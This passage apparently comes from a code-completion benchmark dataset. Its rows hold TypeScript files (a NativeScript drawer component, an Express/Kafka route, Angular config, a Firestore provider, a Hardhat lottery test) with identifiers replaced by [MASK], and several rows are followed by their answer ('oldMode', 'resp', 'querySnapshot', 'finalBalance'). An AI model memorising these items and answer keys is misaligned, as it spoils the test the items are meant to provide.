            this.insertChild(this.backDrop, 0);
        } else if (!this.backDropEnabled && this.backDrop) {
            this.removeChild(this.backDrop);
            this.backDrop = null;
        }
    }
    [backDropEnabledProperty.setNative](value) {
        this._onBackDropEnabledValueChanged();
    }

    getActualSide(side: Side | VerticalSide) {
        return SIDES.indexOf(side) >= 0 ? side : null;
    }

    updateStartingSide(side) {
        startingSideProperty.nativeValueChange(this, side);
    }
    [startingSideProperty.setNative](value: Side | VerticalSide) {
        value = this.getActualSide(value);
        if (value === this.mShowingSide) {
            return;
        }
        if (value && !this.mViewWidth[value] && !this.mViewHeight[value]) {
            this.mShowingSide = value;
            const drawer = this[value + 'Drawer'];
            if (drawer) {
                drawer.visibility = this.mShowingSide === value ? 'visible' : 'hidden';
            }
        } else if (value) {
            this.open(value, 0);
        } else {
            this.close(value, 0);
        }
    }
    onBackdropTap() {
        this.close();
    }
    initGestures() {
        const manager = Manager.getInstance();
        const gestureHandler = manager.createGestureHandler(HandlerType.PAN, this.gestureTag, {
            shouldStartGesture: this.shouldStartGesture.bind(this),
            simultaneousHandlers: this.simultaneousHandlers,
            waitFor: this.waitFor,
            minDist: this.gestureMinDist,
            ...(this.gestureHandlerOptions || {})
        });
        gestureHandler.on(GestureHandlerTouchEvent, this.onGestureTouch, this);
        gestureHandler.on(GestureHandlerStateEvent, this.onGestureState, this);
        gestureHandler.attachToView(this);
        this.panGestureHandler = gestureHandler as any;
    }
    initNativeView() {
        if (this.backDropEnabled && !this.backDrop) {
            this[backDropEnabledProperty.setNative](this.backDropEnabled);
        }
        super.initNativeView();
        if (this.backDrop && this.backdropTapGestureEnabled) {
            this.backDrop.on('tap', this.onBackdropTap, this);
        }
        if (this.gestureEnabled) {
            this.initGestures();
        }
    }
    disposeNativeView() {
        super.disposeNativeView();
        if (this.backDrop) {
            this.backDrop.off('tap', this.onBackdropTap, this);
        }
        if (this.panGestureHandler) {
            this.panGestureHandler.off(GestureHandlerTouchEvent, this.onGestureTouch, this);
            this.panGestureHandler.off(GestureHandlerStateEvent, this.onGestureState, this);
            this.panGestureHandler.detachFromView();
            this.panGestureHandler = null;
        }
    }

    shouldStartSheetDraggingInternal(side: Side | VerticalSide) {
        let result = this[side + 'OpenedDrawerAllowDraging'];
        if (result && this.shouldStartSheetDragging) {
            result = this.shouldStartSheetDragging(side);
        }
        return result;
    }

    shouldStartGesture(data) {
        // const landscape = Application.orientation() === 'landscape';
        const width = Utils.layout.toDeviceIndependentPixels(this.getMeasuredWidth());
        const height = Utils.layout.toDeviceIndependentPixels(this.getMeasuredHeight());
        const side = this.mShowingSide;
        if (side) {
            if (side === 'left' || side === 'right') {
                const viewWidth = this.mViewWidth[side];
                if ((side === 'left' && data.x <= viewWidth) || (side === 'right' && data.x >= width - viewWidth)) {
                    return this.shouldStartSheetDraggingInternal(side);
                }
            } else {
                const viewHeight = this.mViewHeight[side];
                if ((side === 'top' && data.y <= viewHeight) || (side === 'bottom' && data.y >= height - viewHeight)) {
                    return this.shouldStartSheetDraggingInternal(side);
                }
            }
            // for now without backDrop we force allow gesture
            return !this.backDrop || this.backDrop.opacity !== 0;
        } else {
            let needToSetSide;
            if (this.leftDrawer && (!this.leftSwipeDistance || data.x <= this.leftSwipeDistance)) {
                needToSetSide = 'left';
            } else if (this.rightDrawer && (!this.rightSwipeDistance || data.x >= width - this.rightSwipeDistance)) {
                needToSetSide = 'right';
            } else if (this.bottomDrawer && (!this.bottomSwipeDistance || data.y >= height - this.bottomSwipeDistance)) {
                needToSetSide = 'bottom';
            } else if (this.topDrawer && (!this.topSwipeDistance || data.y <= this.topSwipeDistance)) {
                needToSetSide = 'top';
            }
            if (needToSetSide && this[needToSetSide + 'ClosedDrawerAllowDraging']) {
                // this.mNeedToSetSide = needToSetSide;
                return true;
            }
        }
        return false;
    }
    getDrawerToOpen(extraData) {
        if (extraData.translationX < 0 && this.rightDrawer) {
            return 'right';
        } else if (extraData.translationX > 0 && this.leftDrawer) {
            return 'left';
        } else if (extraData.translationY < 0 && this.bottomDrawer) {
            return 'bottom';
        } else if (extraData.translationY > 0 && this.topDrawer) {
            return 'top';
        }
        return null;
    }
    onGestureState(args: GestureStateEventData) {
        const { state, prevState, extraData, view } = args.data;
        if (state === GestureState.ACTIVE) {
            if (!this.mShowingSide) {
                const shouldShowSide = this.getDrawerToOpen(extraData);
                if (shouldShowSide && shouldShowSide !== this.mShowingSide) {
                    this[shouldShowSide + 'Drawer'].visibility = 'visible';
                    this.mShowingSide = shouldShowSide;
                    this.notify({ eventName: 'start', side: this.mShowingSide });
                }
                // if (this.mNeedToSetSide === 'left') {
                //     this.leftDrawer.visibility = 'visible';
                // } else if (this.mNeedToSetSide === 'right') {
                //     this.rightDrawer.visibility = 'visible';
                // } else if (this.mNeedToSetSide === 'bottom') {
                //     this.bottomDrawer.visibility = 'visible';
                // } else if (this.mNeedToSetSide === 'top') {
                //     this.topDrawer.visibility = 'visible';
                // }
            }
        }
        this.updateIsPanning(state);

        if (prevState === GestureState.ACTIVE) {
            const side = this.mShowingSide;
            // const side = this.mShowingSide || this.mNeedToSetSide;
            // this.mNeedToSetSide = null;
            if (!side || (this.shouldPan && !this.shouldPan(side))) {
                return;
            }
            const { velocityX, velocityY, translationX, translationY } = extraData;

            const dragToss = 0.05;

            let destSnapPoint = 0;
            if (side === 'left' || side === 'right') {
                const viewWidth = this.mViewWidth[side];
                const viewX = this.mTranslationX[side] - viewWidth;
                const x = translationX - this.mPrevDeltaX;
                this.mPrevDeltaX = 0;
                const totalDelta = x + dragToss * velocityX;

                if (side === 'left') {
                    if (totalDelta < -DEFAULT_TRIGGER_WIDTH) {
                        destSnapPoint = 0;
                    } else if (totalDelta > DEFAULT_TRIGGER_WIDTH) {
                        destSnapPoint = viewWidth;
                    } else {
                        const endOffsetX = viewX + totalDelta;
                        const progress = Math.abs(endOffsetX / viewWidth);
                        destSnapPoint = progress > 0.5 ? viewWidth : 0;
                    }
                } else if (side === 'right') {
                    if (-totalDelta < -DEFAULT_TRIGGER_WIDTH) {
                        destSnapPoint = 0;
                    } else if (-totalDelta > DEFAULT_TRIGGER_WIDTH) {
                        destSnapPoint = viewWidth;
                    } else {
                        const endOffsetX = viewX + totalDelta;
                        const progress = Math.abs(endOffsetX / viewWidth);
                        destSnapPoint = progress > 0.5 ? viewWidth : 0;
                    }
                }
            } else {
                const viewHeight = this.mViewHeight[side];
                const viewY = this.mTranslationY[side] - viewHeight;
                const y = translationY - this.mPrevDeltaY;
                this.mPrevDeltaY = 0;
                const totalDelta = y + dragToss * velocityY;

                if (side === 'top') {
                    if (totalDelta < -DEFAULT_TRIGGER_HEIGHT) {
                        destSnapPoint = 0;
                    } else if (totalDelta > DEFAULT_TRIGGER_HEIGHT) {
                        destSnapPoint = viewHeight;
                    } else {
                        const endOffsetY = viewY + totalDelta;
                        const progress = Math.abs(endOffsetY / viewHeight);
                        destSnapPoint = progress > 0.5 ? viewHeight : 0;
                    }
                } else if (side === 'bottom') {
                    if (-totalDelta < -DEFAULT_TRIGGER_HEIGHT) {
                        destSnapPoint = 0;
                    } else if (-totalDelta > DEFAULT_TRIGGER_HEIGHT) {
                        destSnapPoint = viewHeight;
                    } else {
                        const endOffsetY = viewY + totalDelta;
                        const progress = Math.abs(endOffsetY / viewHeight);
                        destSnapPoint = progress > 0.5 ? viewHeight : 0;
                    }
                }
            }

            this.animateToPosition(side, destSnapPoint);
        }
    }
    isSideVisible(side: Side | VerticalSide) {
        if (side === 'left' || side === 'right') {
            return this.mViewWidth[side] - this.mTranslationX[side];
        } else {
            return this.mViewHeight[side] - this.mTranslationY[side];
        }
    }
    onGestureTouch(args: GestureTouchEventData) {
        const data = args.data;
        const { state, extraData, view } = args.data;
        // const side = this.mShowingSide || this.mNeedToSetSide;
        if (data.state !== GestureState.ACTIVE || this.mIsAnimating) {
            return;
        }
        const shouldShowSide = this.getDrawerToOpen(extraData);
        if (shouldShowSide && (!this.mShowingSide || (shouldShowSide !== this.mShowingSide && !this.isSideVisible(this.mShowingSide)))) {
            if (this.mShowingSide) {
                this[this.mShowingSide + 'Drawer'].visibility = 'hidden';
                this.notify({ eventName: 'end', side: this.mShowingSide });
            }
            this[shouldShowSide + 'Drawer'].visibility = 'visible';
            this.mShowingSide = shouldShowSide;
            this.notify({ eventName: 'start', side: this.mShowingSide });
        }
        const side = this.mShowingSide;
        if (!side || this.mIsAnimating) {
            return;
        }
        if (side === 'left' || side === 'right') {
            const deltaX = extraData.translationX;
            if (this.mIsAnimating || !this.mIsPanning || deltaX === 0 || (this.shouldPan && !this.shouldPan(side))) {
                this.mPrevDeltaX = deltaX;
                return;
            }
            // if (this.mNeedToSetSide) {
            //     this.mShowingSide = this.mNeedToSetSide;
            //     this.mNeedToSetSide = null;
            // }
            const width = this.mViewWidth[side];

            const viewX = this.mTranslationX[side] - width;

            let x = deltaX - this.mPrevDeltaX;
            if (side === 'left') {
                x = -x;
            }
            const trX = this.constrainX(side, viewX + x);

            this.mTranslationX[side] = width + trX;
            const trData = this.computeTranslationData(side, width + trX);
            if (this.backDrop) {
                this.backDrop.visibility = trData.backDrop && trData.backDrop.opacity > 0 ? 'visible' : 'hidden';
            }
            this.applyTrData(trData, side);
            this.updateIsPanning(state);
            this.mPrevDeltaX = deltaX;
        } else {
            const deltaY = extraData.translationY;
            if (this.mIsAnimating || !this.mIsPanning || deltaY === 0 || (this.shouldPan && !this.shouldPan(side))) {
                this.mPrevDeltaY = deltaY;
                return;
            }
            // if (this.mNeedToSetSide) {
            //     this.mShowingSide = this.mNeedToSetSide;
            //     this.mNeedToSetSide = null;
            // }
            const height = this.mViewHeight[side];

            const viewY = this.mTranslationY[side] - height;

            let y = deltaY - this.mPrevDeltaY;
            if (side === 'top') {
                y = -y;
            }
            const trY = this.constrainY(side, viewY + y);

            this.mTranslationY[side] = height + trY;
            const trData = this.computeTranslationData(side, height + trY);
            if (this.backDrop) {
                this.backDrop.visibility = trData.backDrop && trData.backDrop.opacity > 0 ? 'visible' : 'hidden';
            }
            this.applyTrData(trData, side);
            this.updateIsPanning(state);
            this.mPrevDeltaY = deltaY;
        }
    }
    [gestureEnabledProperty.setNative](value) {
        if (this.panGestureHandler) {
            this.panGestureHandler.enabled = value;
        } else if (value && !this.panGestureHandler) {
            this.initGestures();
        }
    }
    [backdropColorProperty.setNative](value: Color) {
        if (this.backDrop) {
            this.backDrop.backgroundColor = value;
        }
    }
    [backdropPropertiesProperty.setNative](value) {
        if (this.backDrop) {
            Object.assign(this.backDrop, this.backdropProperties || {});
        }
    }
    [leftDrawerModeProperty.setNative](value: Mode) {
        this.onSideModeChanged('left', value);
    }
    [rightDrawerModeProperty.setNative](value: Mode) {
        this.onSideModeChanged('right', value);
    }
    [topDrawerModeProperty.setNative](value: Mode) {
        this.onSideModeChanged('top', value);
    }
    [bottomDrawerModeProperty.setNative](value: Mode) {
        this.onSideModeChanged('bottom', value);
    }
    [gestureHandlerOptionsProperty.setNative](value) {
        if (this.panGestureHandler) {
            Object.assign(this.panGestureHandler, value || {});
        }
    }
    public _onMainContentChanged(oldValue: View, newValue: View) {
        this._onBackDropEnabledValueChanged();
        if (oldValue) {
            this.removeChild(oldValue);
        }

        if (newValue) {
            const indexBack = this.backDrop ? this.getChildIndex(this.backDrop) : 0;
            const index = this.getChildIndex(newValue);
            if (index !== indexBack - 1 && newValue.parent === this) {
                this.removeChild(newValue);
                this.insertChild(newValue, indexBack);
            } else {
                this.insertChild(newValue, indexBack);
            }
        }
    }

    leftLayoutChanged(event: EventData) {
        return this.onLayoutChange('left', event);
    }

    rightLayoutChanged(event: EventData) {
        return this.onLayoutChange('right', event);
    }
    topLayoutChanged(event: EventData) {
        return this.onLayoutChange('top', event);
    }

    bottomLayoutChanged(event: EventData) {
        return this.onLayoutChange('bottom', event);
    }
    addChild(child) {
        // for now we ignore this
        // to make sure we add the view in the property change
        // this is to make sure the view does not get ""visible"" too quickly
        // before we apply the translation
        // super.addChild(child);
    }
    public _onDrawerContentChanged(side: Side | VerticalSide, oldValue: View, newValue: View) {
        if (oldValue === newValue) {
            return;
        }
        this._onBackDropEnabledValueChanged();
        if (oldValue) {
            oldValue.off('layoutChanged', this[side + 'LayoutChanged'], this);
            this.removeChild(oldValue);
        }

        if (newValue) {
            // newValue.columns = ""auto""
            if (side === 'left' || side === 'right') {
                newValue.horizontalAlignment = side;
            } else {
                newValue.verticalAlignment = side;
            }
            newValue.on('layoutChanged', this[side + 'LayoutChanged'], this);
            this.onSideModeChanged(side, this.mModes[side]);
        }
    }
    onSideModeChanged(side: Side | VerticalSide, mode: Mode,  [MASK] : Mode = this.mModes[side]) {
        if (( [MASK]  &&  [MASK]  === mode) || ( [MASK]  &&  [MASK]  !== 'under' && mode !== 'under')) {
            return;
        }
        const drawer = this[side + 'Drawer'] as View;
        if (!drawer) {
            return;
        }
        const indexBack = this.backDrop ? this.getChildIndex(this.backDrop) : 0;
        const index = this.getChildIndex(drawer);
        drawer.visibility = this.mShowingSide === side ? 'visible' : 'hidden';

        if (mode === 'under') {
            if (index > indexBack - 1 && drawer.parent === this) {
                drawer.reusable = true;
                this.removeChild(drawer);
                this.insertChild(drawer, Math.max(indexBack - 1, 0));
            } else if (drawer.parent !== this) {
                // initial addition
                // this.backDrop.visibility = trData.backDrop && trData.backDrop.opacity > 0 ? 'visible' : 'hidden';
                this.insertChild(drawer, 0);
            }
        } else {
            if (index <= indexBack && drawer.parent === this) {
                drawer.reusable = true;
                this.removeChild(drawer);
                this.insertChild(drawer, indexBack + 1);
            } else if (drawer.parent !== this) {
                // initial addition
                this.insertChild(drawer, indexBack + 1);
            }
        }
    }
    computeTranslationData(side, value) {
        if (side === 'left' || side === 'right') {
            const width = this.mViewWidth[side];
            const delta = Math.max(width - value, 0);
            const progress = delta / width;
            if (this.translationFunction) {
                return this.translationFunction(side, width, value, delta, progress, this);
            }
            if (this.mModes[side] === 'under') {
                return {
                    mainContent: {
                        translateX: side === 'right' ? -delta : delta
                    },
                    [side + 'Drawer']: {
                        translateX: 0
                    },
                    backDrop: {
                        translateX: side === 'right' ? -delta : delta,
                        opacity: progress
                    }
                };
            } else {
                return {
                    mainContent: {
                        // translateX: 0
                    },
                    [side + 'Drawer']: {
                        translateX: side === 'left' ? -value : value
                    },
                    backDrop: {
                        // translateX: 0,
                        opacity: progress
                    }
                };
            }
        } else {
            const height = this.mViewHeight[side];
            const delta = Math.max(height - value, 0);
            const progress = delta / height;
            if (this.translationFunction) {
                return this.translationFunction(side, height, value, delta, progress, this);
            }
            if (this.mModes[side] === 'under') {
                return {
                    mainContent: {
                        translateY: side === 'bottom' ? -delta : delta
                    },
                    [side + 'Drawer']: {
                        translateY: 0
                    },
                    backDrop: {
                        translateY: side === 'bottom' ? -delta : delta,
                        opacity: progress
                    }
                };
            } else {
                return {
                    mainContent: {
                        translateY: 0
                    },
                    [side + 'Drawer']: {
                        translateY: side === 'top' ? -value : value
                    },
                    backDrop: {
                        translateY: 0,
                        opacity: progress
                    }
                };
            }
        }
    }
    onLayoutChange(side: Side | VerticalSide, event: EventData) {
        const contentView = event.object as GridLayout;
        let data;
        let safeAreaOffset = 0;
        let changed = false;
        const viewWidth = Utils.layout.toDeviceIndependentPixels(contentView.getMeasuredWidth());
        const viewHeight = Utils.layout.toDeviceIndependentPixels(contentView.getMeasuredHeight());
        if (side === 'left' || side === 'right') {
            if (__IOS__ && !this.iosIgnoreSafeArea) {
                const deviceOrientation = UIDevice.currentDevice.orientation;
                if (deviceOrientation === UIDeviceOrientation.LandscapeLeft) {
                    safeAreaOffset = Application.ios.window.safeAreaInsets.left;
                } else if (deviceOrientation === UIDeviceOrientation.LandscapeRight) {
                    safeAreaOffset = Application.ios.window.safeAreaInsets.right;
                }
            }
            const width = Math.ceil(Utils.layout.toDeviceIndependentPixels(contentView.getMeasuredWidth()) + safeAreaOffset);
            const firstSet = this.mViewWidth[side] === undefined;
            changed = width !== this.mViewWidth[side];
            this.mViewWidth[side] = width;
            if (firstSet) {
                const offset = this.mShowingSide === side ? 0 : width;
                data = this.computeTranslationData(side, offset);
                const shown = this.mViewWidth[side] - offset;
                this.mTranslationX[side] = width - shown;
            } else {
                this.mTranslationX[side] = this.mTranslationX[side] === 0 ? 0 : width;
            }
        } else {
            safeAreaOffset = __IOS__ && !this.iosIgnoreSafeArea && Application.ios.window.safeAreaInsets ? Application.ios.window.safeAreaInsets.bottom : 0;
            const height = Math.ceil(viewHeight + safeAreaOffset);
            const firstSet = this.mViewHeight[side] === undefined;
            changed = height !== this.mViewHeight[side];
            this.mViewHeight[side] = height;
            if (firstSet) {
                const offset = this.mShowingSide === side ? 0 : height;
                data = this.computeTranslationData(side, offset);
                const shown = this.mViewHeight[side] - offset;
                this.mTranslationY[side] = height - shown;
            } else {
                this.mTranslationY[side] = this.mTranslationY[side] === 0 ? 0 : height;
            }
        }
        if (changed && data) {
            // delay applyTrData or it will create a layout issue on iOS
            setTimeout(() => {
                this.applyTrData(data, side);
                if (this.backDrop) {
                    this.backDrop.visibility = data.backDrop && data.backDrop.opacity > 0 ? 'visible' : 'hidden';
                }
            }, 0);
        }
    }
    forceEnsureSize(side: Side | VerticalSide) {
        const contentView = this[side + 'Drawer'] as View;
        let data;
        let safeAreaOffset = 0;
        if (side === 'left' || side === 'right') {
            if (__IOS__ && !this.iosIgnoreSafeArea) {
                const deviceOrientation = UIDevice.currentDevice.orientation;
                if (deviceOrientation === 3) {
                    safeAreaOffset = Application.ios.window.safeAreaInsets.left;
                } else if (deviceOrientation === 4) {
                    safeAreaOffset = Application.ios.window.safeAreaInsets.right;
                }
            }
            const width = Math.ceil(Utils.layout.toDeviceIndependentPixels(contentView.getMeasuredWidth()) + safeAreaOffset);
            this.mViewWidth[side] = width;
        } else {
            safeAreaOffset = __IOS__ && !this.iosIgnoreSafeArea && Application.ios.window.safeAreaInsets ? Application.ios.window.safeAreaInsets.bottom : 0;
            const height = Math.ceil(Utils.layout.toDeviceIndependentPixels(contentView.getMeasuredHeight()) + safeAreaOffset);
            this.mViewHeight[side] = height;
        }
    }
    onTapGestureState(args: GestureStateEventData) {
        const { state } = args.data;
        if (state === GestureState.BEGAN) {
            this.close();
        }
    }
    updateIsPanning(state: GestureState) {
        this.mIsPanning = state === GestureState.ACTIVE || state === GestureState.BEGAN;
    }

    mViewByIdCache = {};
    applyTrData(trData: { [k: string]: any }, side: Side | VerticalSide) {
        const cache = this.mViewByIdCache;
        Object.keys(trData).forEach((k) => {
            let target = this[k] || cache[k];
            if (!target) {
                target = this.getViewById(k);
                if (target) {
                    cache[k] = target;
                }
            }
            if (target) {
                Object.assign(target, trData[k]);
            }
        });
    }

    constrainX(side, x) {
        const width = this.mViewWidth[side];
        if (x > 0) {
            return 0;
        } else if (x < -width) {
            return -width;
        }
        return x;
    }
    constrainY(side, y) {
        const height = this.mViewHeight[side];
        if (y > 0) {
            return 0;
        } else if (y < -height) {
            return -height;
        }
        return y;
    }

    async animateToPosition(side: Side | VerticalSide, position, duration = this.openAnimationDuration) {
        if (this.mShowingSide && side !== this.mShowingSide) {
            this.animateToPosition(this.mShowingSide, 0, duration);
        }
        // const shouldSendEvent = side !== this.mShowingSide || (this.mShowingSide === side && position === 0);
        // TODO: why did we not send event every time?
        const shouldSendEvent = true;
        let trData;
        if (side === 'left' || side === 'right') {
            const width = this.mViewWidth[side];
            trData = this.computeTranslationData(side, width - position);
            this.mTranslationX[side] = width - position;
        } else {
            const height = this.mViewHeight[side];
            trData = this.computeTranslationData(side, height - position);
            this.mTranslationY[side] = height - position;
        }
        if (position !== 0) {
            this.mShowingSide = side;
            const drawer = this[side + 'Drawer'] as View;
            if (drawer) {
                drawer.visibility = 'visible';
            }
            if (this.backDrop && trData.backDrop && trData.backDrop.opacity > 0 && this.backDrop.visibility !== 'visible') {
                this.backDrop.opacity = 0;
                this.backDrop.visibility = 'visible';
            }
        } else {
            this.mShowingSide = null;
        }

        // TODO: custom animation curve + apply curve on gesture
        const params = [];
        Object.keys(trData).forEach((k) => {
            if (this[k]) {
                const animatedParams = duration ? transformAnimationValues(trData[k]) : trData[k];
                if (Object.keys(animatedParams).length) {
                    const animParam = Object.assign(
                        {
                            target: this[k],
                            curve: CoreTypes.AnimationCurve.easeInOut,
                            duration
                        },
                        animatedParams
                    );
                    params.push(animParam);
                }
            }
        });
        try {
            if (duration) {
                if (this.animationFunction) {
                    await this.animationFunction(side, duration, trData, params, this);
                }
                await new Animation(params).play();
            }
        } catch (err) {
            console.error('animateToPosition', this, err, err.stack);
            throw err;
        } finally {
            // apply tr data to prevent hickups on iOS
            // and handle animation cancelled errors
            if ((position !== 0 && this.mShowingSide === side) || (position === 0 && !this.mShowingSide)) {
                this.applyTrData(trData, this.mShowingSide);
                if (position !== 0) {
                    // if (trData.backDrop) {
                    //     this.backDrop.opacity = 1;
                    // }
                } else {
                    const drawer = this[side + 'Drawer'] as View;
                    if (drawer) {
                        drawer.visibility = 'hidden';
                    }
                    if (this.backDrop) {
                        this.backDrop.visibility = 'hidden';
                    }
                }
            }
            if (shouldSendEvent) {
                if (position === 0) {
                    this.notify({ eventName: 'close', side, duration } as DrawerEventData);
                } else {
                    this.notify({ eventName: 'open', side, duration } as DrawerEventData);
                }
            }
        }
    }
    isSideOpened() {
        return !!this.mShowingSide;
    }

    isOpened(side?: Side | VerticalSide) {
        if (side) {
            return this.mShowingSide === side;
        }
        return !!this.mShowingSide;
    }
    getDefaultSide() {
        if (this.leftDrawer) {
            return 'left';
        } else if (this.rightDrawer) {
            return 'right';
        } else if (this.bottomDrawer) {
            return 'bottom';
        } else if (this.topDrawer) {
            return 'top';
        }
        return null;
    }
    async toggle(side?: Side | VerticalSide) {
        side = this.getActualSide(side) || this.getDefaultSide();
        if (!side) {
            return;
        }

        if (this.isOpened(side)) {
            this.close(side);
        } else {
            this.open(side);
        }
    }
    async open(side?: Side | VerticalSide, duration = this.openAnimationDuration) {
        side = this.getActualSide(side) || this.getDefaultSide();
        if (!side) {
            return;
        }
        if (this.mShowingSide && this.mShowingSide !== side) {
            this.close();
        }

        if (!this.isOpened(side)) {
            this.forceEnsureSize(side);
        }
        if (side === 'left' || side === 'right') {
            this.animateToPosition(side, this.mViewWidth[side], duration);
        } else {
            this.animateToPosition(side, this.mViewHeight[side], duration);
        }
    }
    async close(side?: Side | VerticalSide, duration = this.closeAnimationDuration) {
        side = this.getActualSide(side) || this.mShowingSide;
        if (!side) {
            return;
        }
        // this.mShowingSide = null;
        return this.animateToPosition(side, 0, duration);
    }
    // get mainViewTranslationX() {
    //     if (!this.showingSide || this.modes[this.showingSide] !== 'slide') {
    //         return 0;
    //     }
    //     return this.viewWidth[this.showingSide] - this.translationX[this.showingSide];
    // }
}

export const mainContentProperty = new Property<Drawer, View>({
    name: 'mainContent',
    defaultValue: undefined,
    valueChanged: (target, oldValue, newValue) => {
        target._onMainContentChanged(oldValue, newValue);
    }
});

mainContentProperty.register(Drawer);
backdropColorProperty.register(Drawer);
leftDrawerContentProperty.register(Drawer);
rightDrawerContentProperty.register(Drawer);
topDrawerContentProperty.register(Drawer);
bottomDrawerContentProperty.register(Drawer);
gestureEnabledProperty.register(Drawer);
leftDrawerModeProperty.register(Drawer);
rightDrawerModeProperty.register(Drawer);
bottomDrawerModeProperty.register(Drawer);
topDrawerModeProperty.register(Drawer);
translationFunctionProperty.register(Drawer);
animationFunctionProperty.register(Drawer);
backDropEnabledProperty.register(Drawer);
startingSideProperty.register(Drawer);
gestureHandlerOptionsProperty.register(Drawer);

export function install() {
    installGestures();
}
",oldMode
844,"import express from 'express'

const app = express()
import { kafkaClient } from './clients/kafkaClient'
import { UserCreatedProducer } from './events/producers/userCreatedProducer'
import { UserUpdatedProducer } from './events/producers/userUpdatedProducer'
import { ACKS } from './types/acks'

app.post(""/create"", async (req, res, next) => {
    const user = {
        id: ""test-user"",
        firstName: ""Durmuş"",
        lastName: ""Demirtaş"",
        email: ""<EMAIL>""
    }
    const  [MASK]  = await new UserCreatedProducer(kafkaClient.producer).produce([{ value: user }])
    res.send({ message:  [MASK]  })
})

app.post(""/update"", (req, res, next) => {
    const user = {
        id: ""test-user"",
        isVerified: true
    }
    new UserUpdatedProducer(kafkaClient.producer).produce([{ value: user }])
    res.send({ message: 'updated' })
})


export { app }",resp
845,"import {
  ApplicationConfig,
  inject,
  provideAppInitializer,
  provideZoneChangeDetection,
} from '@angular/core';
import { provideRouter } from '@angular/router';
import { providePrimeNG } from 'primeng/config';
import { provideAnimationsAsync } from '@angular/platform-browser/animations/async';

import { routes } from './app.routes';
import { AppConfigService } from './core/config/app-config.service';
import Aura from '@primeng/themes/aura';

export async function initConfig( [MASK] : AppConfigService) {
  await  [MASK] .loadConfig();
  await  [MASK] .loadServerConfig();
}

export const appConfig: ApplicationConfig = {
  providers: [
    provideAppInitializer(() => initConfig(inject(AppConfigService))),
    provideZoneChangeDetection({ eventCoalescing: true }),
    provideAnimationsAsync(),
    provideRouter(routes),
    providePrimeNG({ theme: { preset: Aura } }),
  ],
};
",appConfigService
846,"import { HttpClient } from '@angular/common/http';
import { Injectable } from '@angular/core';
//import { NavController } from 'ionic-angular';
import * as firebase from 'firebase';
import 'firebase/firestore';

@Injectable()
export class Class1Provider {

  classes: any;
  private db: any;
  model: any = {};
  
  constructor() {
    this.db = firebase.firestore();
    this.loadClasses();
  }


  doRefresh(refresher) {
    console.log('Begin async operation', refresher);
    this.loadClasses();

    setTimeout(() => {
      console.log('Async operation has ended');
      refresher.complete();

    }, 2000);

    console.log(""Refreshed"");
  }

  loadClasses(){
    this.getAllClassDetails(""classes"").then((e)=>{
      this.classes = e;
  });
  }

  getAllClassDetails(collection: string): Promise<any> {
    return new Promise((resolve, reject) => {
        this.db.collection(collection)
            .get()
            .then(( [MASK] ) => {
                let arr = [];
                 [MASK] .forEach(function (doc) {
                    var obj = JSON.parse(JSON.stringify(doc.data()));
                    obj.$key = doc.id
                    console.log(obj)
                    arr.push(obj);
                });

                if (arr.length > 0) {
                    console.log(""Document data:"", arr);
                    resolve(arr);
                } else {
                    console.log(""No such document!"");
                    resolve(null);
                }


            })
            .catch((error: any) => {
                reject(error);
            });
    });

}

}
",querySnapshot
847,"import { loadFixture } from ""@nomicfoundation/hardhat-toolbox/network-helpers"";
import { expect, assert } from ""chai"";
import hre from ""hardhat"";

describe(""Lottery"", async () => {
  async function deployLotteryFixture() {
    const [owner, account1, account2] = await hre.ethers.getSigners();

    const Lottery = await hre.ethers.getContractFactory(""Lottery"");
    const lottery = await Lottery.deploy();

    return { lottery, owner, account1, account2 };
  }
  describe(""Deployment"", async () => {
    it(""deploy the contract"", async () => {
      const { lottery } = await loadFixture(deployLotteryFixture);
      //print deployed contract address
      assert.isOk(
        lottery.getAddress(),
        ""The Contract was successfully deployed""
      );
    });
  });

  describe(""Functional Testing"", async () => {
    it(""Allow one account to enter"", async () => {
      const { lottery, owner } = await loadFixture(deployLotteryFixture);
      await lottery.enter({ value: hre.ethers.parseUnits(""0.02"", ""ether"") });
      const players = await lottery.getPlayers();
      expect(players[0]).to.equal(owner);
      expect(players.length).to.equal(1);
    });

    it(""Allow Multiple accounts to enter"", async () => {
      const { lottery, account1, account2 } =
        await loadFixture(deployLotteryFixture);

      await lottery
        .connect(account1)
        .enter({ value: hre.ethers.parseUnits(""0.02"", ""ether"") });
      await lottery
        .connect(account2)
        .enter({ value: hre.ethers.parseUnits(""0.02"", ""ether"") });
      const players = await lottery.getPlayers();
      expect(players[0]).to.equal(account1);
      expect(players[1]).to.equal(account2);
      expect(players.length).to.equal(2);
    });
    it(""Require the minimal amount of ether to enter"", async () => {
      const { lottery, account1 } = await loadFixture(deployLotteryFixture);
      try {
        await lottery
          .connect(account1)
          .enter({ value: hre.ethers.parseUnits(""0.02"", ""ether"") });
        assert(false);
      } catch (err) {
        assert(err);
      }
    });

    it(""Only the manager should pick the winner"", async () => {
      const { lottery, account1 } = await loadFixture(deployLotteryFixture);
      try {
        await lottery.connect(account1).pickWinner();
        assert(false);
      } catch (err) {
        assert(err);
      }
    });
  });

  describe(""E2E Testing"", async () => {
    it(""Enter the lottery and pick the winner"", async () => {
      const { lottery, account1 } = await loadFixture(deployLotteryFixture);

      await lottery
        .connect(account1)
        .enter({ value: hre.ethers.parseUnits(""1"", ""ether"") });

      await lottery.pickWinner();

      const  [MASK]  = await hre.ethers.provider.getBalance(account1);

      assert( [MASK]  > hre.ethers.parseUnits(""99.8"", ""ether""));

      const players = await lottery.getPlayers();

      expect(players.length).to.equal(0);
    });
  });
});
",finalBalance
848,"import {GoogleSignin} from '@react-native-google-signin/google-signin';
import {AppResponse} from '../../entities/appResponse';
import {LoginUser, UserAccount} from '../../entities/user';
import auth from '@react-native-firebase/auth';
import {ErrorCode} from '../../entities/errorCodes';
import userDbTable from '../repositories/remote/userDbTable';
import {Alert} from 'react-native';
import timeService from '../../services/timeService';

const defaultProfilePhotoURL =
  'https://www.iosapptemplates.com/wp-content/uploads/2019/06/empty-avatar.jpg';

const registerWithEmail = (user: LoginUser) => {
  return new Promise(function (resolve, _reject) {
    auth()
      .createUserWithEmailAndPassword(user.email, user.password)
      .then(async response => {
        const  [MASK]  = {
          id: response.user.uid,
          email: user.email,
          createdAt: timeService.getCurrentDateString(),
          profilePictureURL: defaultProfilePhotoURL,
          language: 'en',
        } as UserAccount;

        // Store user info to database. We do not await here.
        userDbTable.addNewUser( [MASK] );

        resolve({isSuccessfull: true, result:  [MASK] } as AppResponse);
      })
      .catch(error => {
        console.error('_error:', error);

        var errorCode = ErrorCode.serverError;

        switch (error.code) {
          case 'auth/email-already-in-use':
            errorCode = ErrorCode.emailInUse;
            break;
          case 'auth/invalid-email':
